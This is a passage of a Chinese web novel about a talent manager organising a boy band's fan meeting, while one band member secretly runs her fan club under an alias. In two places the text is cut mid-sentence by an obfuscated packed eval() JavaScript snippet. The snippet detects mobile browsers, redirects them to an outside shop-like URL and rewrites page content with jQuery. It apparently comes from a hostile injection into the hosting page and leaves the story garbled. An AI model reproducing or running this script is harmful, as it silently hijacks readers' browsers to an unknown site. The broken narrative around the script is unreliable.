身后,苏任被半空飘落的采访稿擦过脸颊,这羞辱比辱骂更甚,她手指紧紧攥着几张采访稿,不甘心地看向宫欢离开的方向。 台下的出口外,三人目瞪口呆地看着宫欢潇洒地走出来,居然没人追上来打她。 安声眼里满是仰慕的小星星:“欢欢姐太帅了,一下就让那个姐姐知道自己做错了事。” 萧子重也对她另眼相看:“可以啊你,这祸都敢闯,不愧是‘内娱小炮仗’。” 奚亭云听见两人的夸赞,仿佛是自己被夸似的,他少见的笑意温和,眼眸如一湾澄澈的山泉被日光照映得粼粼生辉:“你心软了。” 宫欢听见他这话一怔,有些意外:“你说什么?” “之前你对陈闪闪,还有高义南都是直接上手,这次只是对她说了几句重话,”奚亭云声音愈发低哑,压低音量到只有两人能听见,“你果然还是心软的,欢欢好善良...因为她是女孩子,所以不舍得说重话。” 宫欢迷惑的皱起眉头,大为怀疑地指着自己:“我?我说的话还不够狠??” 她的怼人功力难道有所退步?? 看来每日挑选幸运观众进行回怼的日常还是不能落下,看看,现在奚亭云都说她善良了!? 这还得了? 138. 她喜欢好听的声音 采访节目过后,见面会也提上日程。 宫欢选场地,拉品牌方,向有关部门报备活动项目,同时也在联系X男团新建没多久的粉丝群,微博难免保持着长时间在线。 前段时间她很少登微博,也没怎么关注最近多少人骂她。 近期长时间在线后她基本是在忙着联系X男团的粉头,不知不觉间,男团的粉丝已经划分的非常清楚。 团粉大粉、三人单人的大粉,互相之间不像别家粉丝撕得厉害,反而互相协作,在宣传应援方面比宫欢的营销策略要更细致。 并且始终统一网络上的言论,不胡乱掐架,不拉高踩低。 宫欢在进入粉丝群后看见每日的提醒公告时,简直不敢置信。 怪不得男团在三鬼将爆火后,网络上鲜少看见互相掐架引战的场景,反而都像是约好似的,统一对外宣传宣传再宣传,哪怕是看到有黑子恶意抹黑,也照样好声好气地评论。 原来是早就约束规定过。 宫欢问过助理们,之前她让几位助理尽量在粉丝群内占到一个管理的位置,方便管理,和活动应援通知之类的。但她们说,在进群前,粉丝群就已经形成良性循环,根本无需她们插手。 这倒让人惊讶了。 宫欢怀疑是谁家出逃的大粉转来粉上了男团。 于是她进入了四个粉丝后援群,并且添加各方大粉,组了个微信群。宫欢表达出非常友好的态度,说明粉丝见面会的活动内容,大粉们答应得非常爽快,定好应援日期发给一众粉丝。 眼看一切顺利,宫欢在群里发了个大大的红包: 【最近男团正逢爆火的时刻,非常感谢你们明智地引导粉丝们的言论,这给我们的工作增添了极大的帮助,有机会希望能见个面吃顿饭聊表谢意。】 大粉们客套几句,团粉大粉在群里发消息说:【其实功劳并不全在我们身上。】 其他大粉:【是的,我们刚开始完全没头绪,还打算用以前追其他爱豆的那套来,还好‘那位’一直劝说我们,还教我们怎么去应对舆论热搜,我们才决定完全更改粉丝群体的模式。】 宫欢不明所以:【什么意思?你们背后还有其他人?】 安家大粉:【他是各家后援会的总指挥,现在遇到事情我们都会去找他商量一下。】 萧家大粉:【这位老师平时很低调的,不怎么过多介入我们的事情,所以其他粉丝们一般不知道,但是我们觉得您应该了解一下,这样对男团以后的发展更有帮助。】 团粉将一个微信名片推送在群里,宫欢仔细看去,名片头像是一张纯白色背景图,没什么奇怪的,而紧跟其后的一长串昵称却让人瞠目结舌。 ——欢欢打爆全场! 这这这这这这...... 宫欢简直要咬到自己舌头。 她狠狠掐了把手臂上的肉,慌忙回复:【???他他他,你们知道他是谁吗?】 奚家大粉:【知道啊。这位老师挺喜欢您的呢,他说非常相信你能将男团带到更好更大的舞台,看,他的昵称名字都用了您的/笑,可见真的很喜欢你。】 宫欢默默擦了擦额头的汗。 ......可不是吗,她的大粉,能不喜欢她吗? 几位大粉貌似对这个昵称为‘欢欢打爆全场’的人非常尊重,口口声声叫着老师,他甚至还是四大粉头的总指挥。她们对这个人没有一点怀疑!?? 太离谱了。 而且这人没有一点伪装,ID都是跟她有关的。 她思考片刻,退出微信转而登上微博,点到私信页面,在几千几万条私信消息里大海捞针般地找到了‘欢欢打爆全场’。 他的头像原先是宫欢刚开通微博时发布的一张生活照,随意简单,不知什么时候换成了之前新星晚宴上的快拍照。 头像有些许模糊,长卷发与青绿色的服饰反而衬托出她明艳动人的脸,笑意轻快松弛,鲜活感几乎要溢出屏幕。 宫欢没在她的超话里看到过这张照片。 新星晚宴算是她近期对外的公开活动,因此超话里的每日照片常有重复,她有几回刷到,看了几眼就划过去了。 放出的照片全是高清精修,没有模糊的。 ‘欢欢打爆全场’使用的头像照,是从未公开过的照片。 她心底微妙地泛起说不清的感觉。大概粉丝都会这样,总想私藏喜欢的人的照片。 这条消息框的后尾处红点消息数字为99+。 仔细想来,宫欢确实很久没看私信了,要不是凑巧看见这个ID,她估计还会忘一段时间。 点进消息页面,一长排的生活日常分享强行挤入眼中,宫欢不由得将手机拿远了点。 【欢欢早安/笑。】 【最近工作比较忙/可怜,做打榜数据都不准时了,昨晚剪辑欢欢的混剪视频时困得睡过去了,早上醒来发现忘记保存视频,我以为要重新剪了,但还好电脑没有关机,只是息屏/万幸。】 【今日跑了十公里打卡/求夸夸。】 【最近又瘦了两斤,面部骨骼明显很多,应该...,会好看点。】 【欢欢觉得瘦一点好看,还是有肌肉好看?】 【X男团的粉丝对你误解很深,一直以为你在欺压他们,你根本不会的,你对他们投注那么大的心血,比谁都希望他们好...我是听说的。】 【我们在努力去和她们沟通了,希望能改变她们的想法。】 【最近有没有新的活动,大家很想你,想一起给欢欢应援/期待。】 【恭喜欢欢,男团参演“风雨九州”一定会火的,这样就不会白费欢欢的心血。】 【“风雨九州”好好看啊,欢欢果然很会选剧本/厉害贴贴。】 消息长得翻不到尽头,宫欢看得眼睛发花。 最近的消息在上午发来,聊得也是日常生活的小惊喜,字里行间透露出“生活真美好”、"我热爱生活也爱你"、“平平无奇小能手”、“健身做饭家务样样行”的态度。 宫欢脑海里浮现之前机场见面时这位大粉的装束,又想到他之前说在整容恢复期,便将他的形象对上细节狂、完美主义者。 这样的人,怎么会追她这么狂放的人? 宫欢想不通,更想不通他是怎么混到团粉总指挥的,他这么做的目的是什么? 不管怎么说,这样一来的确省了宫欢的事。 想了想,她在对话框敲下几行字:【你是X男团粉丝后援会的总指挥?】 点击发送。 - 消息穿过网络抵达另一人的手机内,叮的一声响起提示。 特殊提示音与其他人不同,设置成了水波晃动的铃音。 因此,那久违的,期盼已久的海浪翻涌声响起时,奚亭云几乎是立刻放下手上的所有事,急匆匆地快步走到放在一边的手机旁,迫不及待地解锁,界面一亮,映入眼帘的便是宫欢微博的聊天页面。 2923个小时。 她有2923个小时没回复过消息。 似乎已经完全遗忘了这位给她送过信的粉丝。 说不清的失落空茫从阴暗的缝隙里流出,仿佛要将人绞得窒息。 奚亭云强压 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126429|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下阴郁的情绪,他不停回想前段时间与欢欢的亲昵,那些失落很快被甜蜜侵占,心情蓦地柔软,好像一捏即扁的奶油面包。 欢欢打爆全场:【欢欢你回我消息了!!】 欢欢打爆全场:【最近是不是很忙,我都理解的!】 欢欢打爆全场:【你说总指挥?我不太清楚这个,最近的确在关注他们,但,那也是因为欢欢,我保证重心没有偏移!】 对方正在输入中...... 奚亭云捧着手机,眼睛紧盯着那不断出现,反复消失的省略号。 没过几秒,微信小号响起叮咚声,他本不想切出去看,但申请添加好友的消息从屏幕顶部跃出,显示着宫欢的头像——放大的柴犬戴墨镜照片。 他怔了一怔。 僵硬地点开好友申请,消息验证里写着:【总、指、挥?】 这下,露馅了。 通过好友申请后,消息便转移到微信上。 宫欢:【看不出来啊,真是能人,身兼数职,一会是我的大粉,一会是男团的总指挥,四家粉丝居然都对你评价很高,很厉害哦。】 文字消息让这段话看不出是夸是贬,奚亭云紧张地手心渗汗。 欢欢打爆全场:【没没有的......其实只是巧合,我没想掺和X男团粉丝里面,成员粉丝成分比较复杂,有唯粉团粉cp粉,容易引战的也多。】 欢欢打爆全场:【之前只是因为很多粉丝误解你欺压他们,我们不能不管,所以就介入进去调解。】 欢欢打爆全场:【...对不起欢欢,我们不应该随便给你惹麻烦,你要是不喜欢,我们马上就撤出介入/哭哭】 他发去一长串的消息,怕她介意,点开表情包在里面筛选半天,找到个宫欢Q版大眼萌卖可爱的表情包发送过去。 欢欢打爆全场:【可爱大眼睛.jpg】 好不容易拉高的好感度,因为这件事一下降回原点。 奚亭云挫败地坐在健身房地面上,往后捋起的额发间沾着点点汗珠,鼻梁一侧还有刚刚凝出的细小汗滴。他刚才在健身,呼吸都还没喘匀。 坐下的位置对面有一整面墙的镜子,照出他此刻的狼狈。浑身大汗淋漓,速干运动衣紧紧贴合着身体轮廓。 虽然经常健身,但因为饮食格外克制,奚亭云并不像萧子重的身体那般肌肉含量大,他的身体肌肉不太明显,隐匿于薄薄的皮肤下,微微隆起些小小的冷淡的性感弧度。 他下颌的皮肤紧贴骨骼,某些角度看起来格外锋利。 此刻镜中的人眼眸带着湿润,视线不安地落在自己那张脸上,等待宫欢消息的时候,他甚至换着角度照这张脸。 还是不够好看。 脖颈不够修长,皮肤不够细腻,胡茬刮过又在长,怎么看怎么难看。 他焦躁得用拇指摩擦手机屏幕,不停滑动着被他聊成两页的聊天记录。 一看左上角的时间,过去了两分钟。 两分钟,她都没回消息,真的不要他这个粉丝了。 他抿了抿唇,手指摁住语音键,将唇靠到手机音筒前,调整好嗓音位置,轻缓地开口,已然换成与平时相差甚远的青年音:“欢欢...你生气了吗?” “我以后真的不会去关注别人了,只专心地打榜做数据,只给你应援,只看你,好吗?” 他想,她喜欢好听的声音。 之前她在节目里说过签韩雨寒就是喜欢他的嗓音,他刚才的声线正是带着微哑又年轻的声音,语调轻快阳光,比他平时稍沉的音质好听很多。 这样,她应该会回消息的。 139. 粉丝见面会1 发消息的间隙宫欢临时接了个电话。 沟通了10分钟左右的粉丝见面会的场地细节,挂断电话才想起刚才的惊讶发现,她切回微信页面,瞬间被满屏的消息晃花了眼。 文字加语音消息交替着发来,刚开始的内容还在辩解,后面直接开始认错。 好几个语音条发来,宫欢往常为了节约时间都是转文字一眼看完。 但今日指尖落在上面,犹豫片刻,轻触一下很快分开。 犹豫的那几秒,她想起上次机场里,他的声音隔着口罩闷声传出,青涩稚嫩的嗓音与他周身沉稳的气质奇异碰撞,非常抓眼。 语音播放出他紧张急切的声音,带着小心翼翼的语气。 宫欢竟然从里面听出了些许的卑微。 那卑微不似她以往见过的,粉丝遇见喜欢的艺人总是喜悦居多,哪怕小心翼翼,也只是怕打扰对方。 或许是她想得过多,总觉得这份卑微里掺杂太多东西。 它并不单纯,而是纯澈的水中混入浓稠的沥青。 宫欢的回复不自觉带上哄的意味。 宫欢:【我没有生气。】 宫欢:【我是真的在夸你,你很厉害。】 宫欢:【工作室这么专业的团队可能都无法维持好粉丝间的联系,你一个人就能说服她们联手合作真的不一般。】 宫欢:【我觉得你是个很合格的‘站姐’,甚至超越许多业内人士。最近有时间吗,我打算筹办X男团的粉丝见面会,希望你能来。】 消息发出后,对面几乎是秒回。 欢欢打爆全场:【有时间!我有很多的时间!】 欢欢打爆全场:【欢欢是在邀请我去吗...?】 欢欢打爆全场:【我我,我有点太意外了,真的可以去吗?】 欢欢打爆全场:【宫欢Q版可爱大眼萌.JPG】 看到自己的表情包被其他人突脸发出来的感觉是挺怪异的,宫欢盯着那个表情包看了半天,还是随他去了。 宫欢:【A市会展中心,两天后下午一点开始,电子入场票我晚点发给你。】 收到确切的消息那刻,奚亭云两手紧攥手机,重重抵在额间深深压下翻涌的心绪,巨大的狂喜仿佛将他吞没。因为运动,两颊消退的红晕又悄然漫开,一路蜿蜒至眼角,腾起让人眩晕的灼热。 他第一次得到她的认可。 她真好,发现他不起眼的优点,大肆夸赞他...他哪里有那么好,只不过是做些琐碎细小的事情。 作为一个毫不起眼的粉丝,她记住他,认可他的所作所为,甚至还邀请他去X男团的粉丝见面会...... X...X男团!? 奚亭云深陷无法自拔的愉悦状态忽然中断,意识缓缓沉浮在宫欢的夸赞里,像是一步步成瘾的过程中,被强行抽离。 他困难地缓了十来秒,才意识到问题的严重性。 X男团的粉丝见面会,他是要出场的! “糟了。”奚亭云皱皱眉。 欢欢打爆全场的大粉身份已经答应了她要去粉丝见面会,可他要怎么分出另一个身体同时作为男团成员出现在现场。 奚亭云只恨自己没有两个身体,两边对比下来,怎么看都是男团成员的出席更为重要——可他怎么都舍不得推掉宫欢第一次邀请他真实的、没有任何掩饰的身份。 男团成员,艺人,这些职业像虚幻的光环圈着他,并不真实,很多时候奚亭云觉得,宫欢对他的所有好只是因为他是她的艺人,是处于工作才关心他,而他也只能点到即止,克制有礼。 可作为粉丝就不同,他真实的贪婪与喜爱毫无遮掩。 他狂热,纠缠,病态,疯狂,像阴暗的老鼠用那双漆黑死寂的圆圆小眼紧紧盯着她所有舒展的姿态,他可以躲在粉丝的壳子后面肆无忌惮地说喜欢,没有任何顾忌。 更何况,她不讨厌他的喜欢。 这简直让奚亭云幸福得升到云端,被欣悦的情绪冲昏头脑,没有任何思考能力。 该怎么办呢..... 他实在是太贪得无厌,一个都不想放开。 可他必须在其中做出选择。 - 两日后A市会展中心。 这两日宫欢每天都往场地跑,高姐与场地策划沟通细节,宫欢则洽谈品牌植入。 男团因三鬼将大火后一堆品牌方吻了上来,她从中筛选出平稳可靠的,且有诚意的品牌。艺人与品牌是双向的,好的品牌衬托艺人,好的艺人衬托品牌。 男团出演【风雨九州】没给她赚多少钱,火后的代言,商演,品牌推广才是大头,这段时间断断续续的商演带来的利润非常可观。 宫欢还未来得及仔细算过,神经仍紧绷着关注网络上的舆论动向。 在采访事件过后,她花了几夜的时间与高姐想公关方案。 男团的底被一众网友扒得底朝天,除了主C安声,其他人没有任何练习生经验,连之前称赞的舞台场面都被反复拉出来逐帧解读。 这些趋势都在引导一个结果——男团全员混子。 事情虽还未完全发展到这一步,可宫欢敏锐地发觉到里面的猫腻。 一个经验丰富的经纪人当然要未雨绸缪。 经过几夜的冥思苦想,让她们想出一个大胆的营销方向。 “欢姐,这个摆在哪儿啊?” 助理抱着比她高出一半的立式海报牌问站在一边凝神观察现场的宫欢。 宫欢转过身,目光在那张三人初舞台合影、三鬼将定妆照的宣传海报上扫过,最中间有醒目的绿色大字—— 【草根天团】。 这就是她们的下一个营销策略了。 何必遮掩他们三个的真实来历,塑造什么人设都不如真实接地气的人设。 “草根天团”是在熬第四个大夜翻看网友评论时,宫欢发现的一个特点。 当时仍有网友在调侃男团全是宫欢在街边随便捡的,纯草根,没一个有背景的。 她当即灵机一动,顶着凌乱的头发猛一拍桌:“我有营销方向了!!” 那时四五个助理睡得七仰八叉,听见这动静只有一个迷迷糊糊抬头看了宫欢一眼,接着又继续睡去了。 隔天,营销方案就发给了外包公司,并商定在粉丝见面会后大肆买通稿炒作。 即使上有不测危机,她也照样应对自如。 宫欢指着会展中心正门的入场大厅,说:“就摆这里,左右各摆十个立牌。” 粉丝应声去摆放,宫欢的手机响起微信的语音通话,是奚亭云打来的,她接起直接问:“造型都做好了吗,等下记得提前从后台进来,他们两个搞定了吗?” 手机那边沉默片刻,随即传出奚亭云有些委婉迟疑的声音:“欢欢,,,我,我有点不太舒服,,,,,,” “不舒服?现在?” 宫欢语气里带着不容有失的严格,“忍着点,今天的见面会非常重要,你先吃点药,不管怎么样都要给我撑过这场见面会。这是个非常重要的场合,如果你缺席,男团说不准要受到质疑,还有你的粉丝们也会怀疑你是不是被我霸凌,怀疑我刻意打压某个成员。” “你怎么会霸凌我们,”奚亭云声音发紧,“她们应该不会这样猜测。” 宫欢:“不是所有人都用一张嘴的——你到底哪里不舒服,我去接你。” 她说着就准备去场地外开车,奚亭云犹豫一会出声阻拦她:“不用这么麻烦,我知道了,我会到场的。” “别硬撑。” “好。” 挂断通话,奚亭云连一点退路都没有了。 他转头看向床上铺着的两套服饰,一套是他作为男团成员奚亭云的、来自巴黎的高定服饰,一套则是平平无奇,一身加起来不超过三百块的私服。 他静静地看着两套衣服,最后将手伸向高定套装。 ...... 临开场前,粉丝们便早早排起长龙队伍,会展中心里面设立了分流障碍物,队伍被排成弯曲的回形人群。靠着人群尽头的一排长桌前铺着三人的海报,长桌后摆放三张座椅。 维持秩序的场馆保安与宫欢这边联系的保镖们分散站开,队伍两侧则是记者媒体区,架了数台摄影机拍摄现场画面。 时间刚到一点,宫欢手持对讲机向后台的助理通知:“时间到了,让他们出来吧,别忘了形象管理、表情管理,都提着点精神,今天粉丝很多,累也要保持微笑,不准挂脸。” 待她说完,不过一分钟,三人前后走出来。 精致的服饰造型衬托着颠倒众生的面容,聚光灯齐齐照耀在他们身上,万千光华敛于一身,他们朝着长长的粉丝队伍微笑打招呼,偌大的会展中心足以容纳上万人,轰的一声如同炸开的巨大蘑菇云,热烈喧嚷的欢呼声几乎要掀翻屋顶。 三人先来到小型舞台上,主持人按照台本一一介绍三人,每一次介绍都引起现场的激烈喊叫。 会展中心上下几层的露台站满了人,荧光棒海洋此起彼伏。 待三人向粉丝们一一问好后,舞台不远处的宫欢在对讲机里提醒下一个流程。 近日气温偏低,她穿黑色高领薄毛衣,外搭深咖麂皮外套,下摆遮到腿根,下身则是修身牛仔裤配短靴,颈间戴着会场工作证明,一身低调不普通的穿搭,耳饰佩戴的是圆润小珍珠耳钉,将气质拉高不少。 宫欢的目光在数不清的粉丝间来回扫过,像是在找谁,可又像是随便掠过几眼。 一层没看见,她接着向二层三层的外观露台看。非常之艰难地在一边角落里看见几个不起眼的霓虹灯牌—— “宫欢无法无天,我们为非作歹,” “欢欢飞得高,我们站得远,” “内娱小炮仗,谁惹就炸谁。” 宫欢:“......” 确认无疑,是她的粉丝没错。 她抬起手,朝上面挥挥示意。 那几个女孩子被其他粉丝的前仆后继的架势吓得缩在角落,拼力维持着属于她们的一角。 霓虹灯牌举得摇摇晃晃,其中有个人拿着望远镜往下看,注意到宫欢的视线时激动得跳了跳:“欢、欢欢看见我们了!!啊啊啊啊你们快来看,她还在跟我们招手!!啊啊啊宫欢——宫欢老婆!” “欢欢发现我们了——啊啊啊,老大呢,老大怎么还没到!他不会迟到了吧!?” “什么什么,这么多人欢欢怎么注意到我们的!?” “真的假的!?” 待她们挤在栏杆旁举起手机,被调整好焦距的相机里显出宫欢仰着头看来的动作时,一个个激动得发出烧水壶烧开的尖鸣: “啊啊啊——真的真的,她真的有在认真找我们啊啊啊啊!!老大果然没说错,欢欢很想我们来的。” 这女孩说到老大时微微顿了下,随即扭头看向旁边的同伴:“对啊,老大呢??他说让我们早点来抢位置,他自己人去哪儿了,你给他打个语音催一催,是不是被挤在外面进不来啊?” “怎么可能,老大说是欢欢邀请我们来的,他可以走后台通道~”说着,这粉丝忍不住小小地嘚瑟,“看我们老大多得欢欢的心啊。” “你们谁打语音啊,我手机忙着拍视频呢!” “我来我来。” 一个女孩空出手找到‘欢欢打爆全场’的微信,点击拨打语音通话。 嗡——嗡—— 幸亏奚亭云平时手机从来都是静音的,所以在随身携带的手机不停在衣服内侧震动时,他面色不变,手持话筒保持着谦和优雅的笑。 胸口那震动声嗡嗡不断,震得胸腔一阵阵发麻。 旁边紧挨着奚亭云站的两人疑惑地侧头看看中间的人,目光在他胸前处停留片刻。 安声放低声音,从口型也看不出说了什么:“...奚哥,你什么时候做的心脏搭桥手术,之前心跳没这么大声啊。” 萧子重顺势抬手掩了下唇:“别问,你奚哥秘密多了去了。” 奚亭云微笑不语。 主持人面带笑容:“欢迎来到现场的所有X男团的粉丝们!!相信大家期待这一天非常久了,我们现在随机抽选幸运粉丝和男团对话,各位请看大屏幕......” 粉丝见面会预计时间在六小时左右,流程单由宫欢制定。 开场是几个热场的小游戏,中间则是签名合照环节,结尾则以男团跳新舞结束。 会展中心场地租金每小时五十万元,六小时三百万,其次布置场景道具,主持人费用,各家媒体费用零零总总加起来差不多在五百万。品牌方植入的资金能将这笔花销抵掉。 并且这场粉丝见面会后,粉丝粘性提高,对男团是极大的助益。 再配上宫欢的【草根天团】营销策略,短期内,三人的咖位绝对能跃升到一个全新阶梯。 抽选粉丝有三次机会,三人背后的大屏幕里,镜头画面随机停在一张面孔上,那位粉丝愣了愣,发现后激动地扯着衣服示意上面的照片——是安声在舞台上的神级出圈图。 "哇喔,看来第一位幸运粉丝就是我们安声的粉丝呢。"主持人捧场道。 工作人员将话筒递给那位粉丝,刚一拿到,她便兴奋地声音发颤:“我,我非常非常喜欢安声,安声你值得!你是最好的小天使!!” 说完这句话,她身后排着长龙的队伍纷纷举起手中的应援牌欢悦摇晃着,这一排队伍尽头对应着安声的海报。 “小天使安声!!”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126430|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “啊啊啊他笑了笑了!” 安声拿起话筒,语气甜甜:“谢谢你的喜欢,你们也都是小天使。” 主持人继续往下进行流程:“那么这位小天使粉丝有什么话想对安声说吗,他非常想听到哦。”安声作势配合地将手轻轻放在耳边,侧头做出认真聆听的模样。 粉丝们又是一阵尖叫。 那位幸运粉丝则语无伦次地断续说着:“我我从初舞台的时候就喜欢你了,很期待你能有更好的舞台,我能感受到你热爱跳舞,喜欢舞台;你在舞台上的每一个时刻都神采奕奕,眼睛是不会骗人的,即使隔着屏幕我也能感受到你对舞台的专注认真,安声,请你一定要坚持下去!” “坚持下去!” “坚持!!” 安声深深凝望着她,眼里浮起些晶莹泪光,话筒举到唇边,他低低应道:“嗯......我一定会的。” 后面两轮的幸运粉丝分别是在奚亭云的粉丝和萧子重的粉丝之间筛选。 粉丝们热情地说着喜欢之类的话,等这一环节过去,三人回到后台去换衣服,宫欢则在现场调度人手维持秩序。 她抽空拿出手机看了眼微信,两小时前大粉发过消息。 欢欢打爆全场:【抱歉欢欢!我有点堵车,可能会晚点到。】 欢欢打爆全场:【非常非常对不起.,....我不想迟到的,但是,工作实在是脱不开身,你会不会对我的印象一下大打折扣了/委屈可怜】 欢欢打爆全场:【我一定会来的,你等等我好不好。】 宫欢:【1】 堵车堵两个小时......这人是去外地了吗? - 会展中心后台。 三人转去后台的路上,安声与萧子重脸上挂着笑,讨论着刚才的幸运粉丝环节。 “我第一次见到这么多的人!”安声夸张地做出个双手画圈的动作,兴奋得碎碎念,“她们真的很喜欢我,太好了,我就知道努力不会白费的。” 萧子重两手插兜,挑着眉认同:“我也没想到会有这么多的人,之前知道自己火,机场也被粉丝追过——我还以为都是宫欢花钱买的粉儿呢,合着是真粉丝啊。” 两人讨论得热闹。 奚亭云本是最后一个下台的,这会他抬腿提速绕开两人,走路带风地与他们错身而过,话不说一句,径直朝着自己的休息室走去。 三人的休息室单独分开,奚亭云走到休息室门前,迅速打开又迅速关闭。 全程与其他人0交流。 两人懵逼地互相看看。 萧子重纳闷:“老奚跑这么快干嘛呢。” 安声摇头:“不知道,可能想快点换衣服吧。” 一进休息室奚亭云便迅速扯开衣扣,同时拿出震动许久的手机,点开微信没有回欢欢粉丝的一连串消息,而是点开置顶联系人,他摁住语音条,快速切换到另一个声线,活泼积极的青年音流畅脱口: “欢欢!我已经到后台入口了,马上就过来。” “我有点迫不及待想见到你了......距离上次过去了好久,只能在网上看你的视频,看你的照片,好想看真人,想看真实的你,会动的你...今天终于可以了,我好开心!” 他口中干涩得发苦,为了保持面部骨骼线条是贴骨不浮肿的,昨天下午开始他就没有喝过水,最渴的时候也只是抿一小口湿润嘴唇。 效果出奇的好,化妆镜中的他五官立体清晰,在淡妆的加持下更显出惊艳感。 嗓音因为喉管干涩而发哑,他咽了咽唾液润嗓,一句句给她发语音。 “现场的人是不是很多,你忙不忙?” 衣服已脱去一半,他单手拿着手机舍不得松开,一边踢掉皮鞋,从随身行李包里拿出灰色卫衣与宽松牛仔裤10秒套上身体,接着踉跄两下穿运动鞋,鞋带散落也来不及系好,被他胡乱塞入鞋内,他迅速从行李包内相继扒出鸭舌帽、口罩戴好,同时摸出一副暗蓝色美瞳,对着化妆镜两下搞定。 全部换装完毕,奚亭云对着化妆镜左右观察,确认细节。 没有遗漏,他将手机界面上的对话页面切出去,在X男团的大粉群里发消息,语音转文字:【麻烦你们帮宫欢维持一下现场秩序,注意安全,避免引起踩踏事件,也尽量控制一下尖叫,噪音分贝太高对耳朵不好。】 接着他切出这个群,找到宫欢粉丝后援会,摁下语音条:“抱歉,我刚才有事耽搁了,我现在进了后台,你们在哪?位置好吗,能看得到欢欢吗?” “如果看不到她,等下跟在我后面,我带你们去找她。” “想要签名的话可能要等到活动结束比较好,欢欢现在在调度现场工作人员,比较忙碌,你们注意点,不要贸然打扰她,好吗?” 最后一条语音发出去,他也准备完毕。 打开休息室的门悄悄往外看了一眼,门外没有人,其他两个休息室的门紧闭,大概都在换衣服,他将微信切换回奚亭云的大号。 点开宫欢的对话框,他声音丝滑地切换成属于奚亭云的温润音质:“欢欢,,,我早上吃了冰箱里放了五天的三明治,肚子好痛,等下的签名环节我要晚点出场,可以先让萧子重他们正常进行流程吗?” “对不起......我不是故意想在紧要关头给你添麻烦。” 他语气里透着委屈自责,身体却悄然溜出休息室,脚步轻盈地落地听不出声音,从后台一路走到工作人员通道,他左右张望着周围环境,声音仍拿捏得稳当。 “你骂我凶我吧......我总是这样拖后腿,增加你的工作量,我吃了药,缓一缓就好,你不要来找我......我真的没事,放心,我一定会好好完成后面的工作流程。” 说完这些,奚亭云果断将手机锁屏,径直朝着员工通道的出口走去。 那里只隔着几步远的距离,原本响彻整个会展中心的喧嚷声似乎在被人为地降低,人实在太多,即使许多人有意降低声音,仍人声鼎沸。 奚亭云越过遮挡的人形立牌,一眼看见万人中心,拿着对讲机有条不紊地命令着工作人员的宫欢。 麂皮外套的腰部收得很窄,勾勒出她流畅的身体线条,她手指朝小助理伸出去接什么东西,食指指节戴着造型繁复的荆棘圈戒指,顶部有一颗青绿色玉石,衬得手指修长如玉。 奚亭云不自觉走了神,盯着她手指看了片刻。 那双手之前抚过他的脖颈,收紧时掌心的温度隔着薄薄的皮肤直抵血液,渗透进他的每根血管,他的身体里有她的温度。 他眼眸忽而融化,心情莫名好起来,连脚步都轻盈的不着地,小跑着到她身后。 “欢欢,”他声线清润,带着大学生特有的活力,“我来了。” 140. 做我的应援总指挥 熟悉的声音。 宫欢对印象不深刻的人有轻微的脸盲。 以前酒桌应酬时,对一些领导经常是通过声音辨认。她对声音的敏感度超乎意料的高,也因此她签下的嗓音条件好的艺人,常常受到业界内的夸赞。 她认声音可是一流的。 身后那道声音传来时,她脑海里下意识浮现出机场的那道黑色身影,他全身裹得严严实实,只有眉眼与鼻梁处的皮肤露出,细腻的肤色在黑色的衬托下反倒像亮色系,更吸引视线。 宫欢的脸盲被短暂地治好。 她只是顿了顿,走神一点,身后的人好像靠得更近,体温隔着空气迅速包围过来,明明没贴近,人的身体热度却擅自过分地侵入过来,连带着描述不清的好闻气息。 宫欢不喜欢被不熟的人靠这么近,她几乎是条件反射地迅速侧身,紧急后退半步,拉开距离的间隙她一眼看见笑眼弯弯的大粉。 还是一样的全副武装,包裹得完整。 他今天戴了一副暗蓝色美瞳,那蓝深沉得似是傍晚的夜幕点缀上去的,很奇特,他好像戴什么美瞳都好看。 “......哦,你来了啊。”宫欢缓了缓,故作反应淡淡,“总指挥的架子是蛮大的,都要压轴出场。” 奚亭云被她噎了下,无措地快速眨几下眼睛:“我,我哪敢,她们叫的总指挥只是调侃,我不知道这件事.....我现在去跟她们说,我以后不会参与X男团的事情了。” 他说着要往X男团的领头大粉那边走,被宫欢反手拉了下手臂,她偏头啧了声,掩住半边脸低声道:“你现在过去被其他粉丝看见像什么样子?” “什么?”奚亭云没反应过来。 “你刚才从后台出来的,就这么直接过去联系大粉,不知道的人会怀疑大粉是不是受到工作室操控,”宫欢解释,她松开拉着他的手,装作若无其事的样子看着周围躁动的粉丝,“我刚才只是开个玩笑。” 奚亭云低低应声:“嗯...我太在意你说的话了。” “......”宫欢一时无语,只抱着手臂看别处。 奚亭云站在她身后,眼神就没从她身上移开过。他从怀里拿出手机,切换回小号给大粉们发消息,注意着现场工作人员的调度的同时,让大粉配合见面会的流程。 会展中心现场在这样的调度下,场馆内的上万人竟显得格外整齐,每个人之间都隔着半身的位置,在大粉不断提醒下,粉丝们也都自发配合,进入到下一流程的进展没多久就已准备就绪。 以往这类大型活动最怕出现事故,宫欢非常看重这点,她找了安保公司来了几百人引导现场秩序,助理们纷纷拿着对讲机在人群间穿梭,她目光则在四处观察调度情况。 当粉丝们纷纷有序地进入签名的分流障碍物后,她意外地挑眉,下意识朝身后看了眼。 她的大粉在手机上敲敲打打,看不出面容,气质却显得很沉静。 宫欢莫名带了点坏心思,两手在他手机上方“嗒”的打了个响指。奚亭云第一反应是锁屏,接着紧急抬头。 “开始忙活了啊?”宫欢调侃地眨了下眼,“‘总指挥’。” 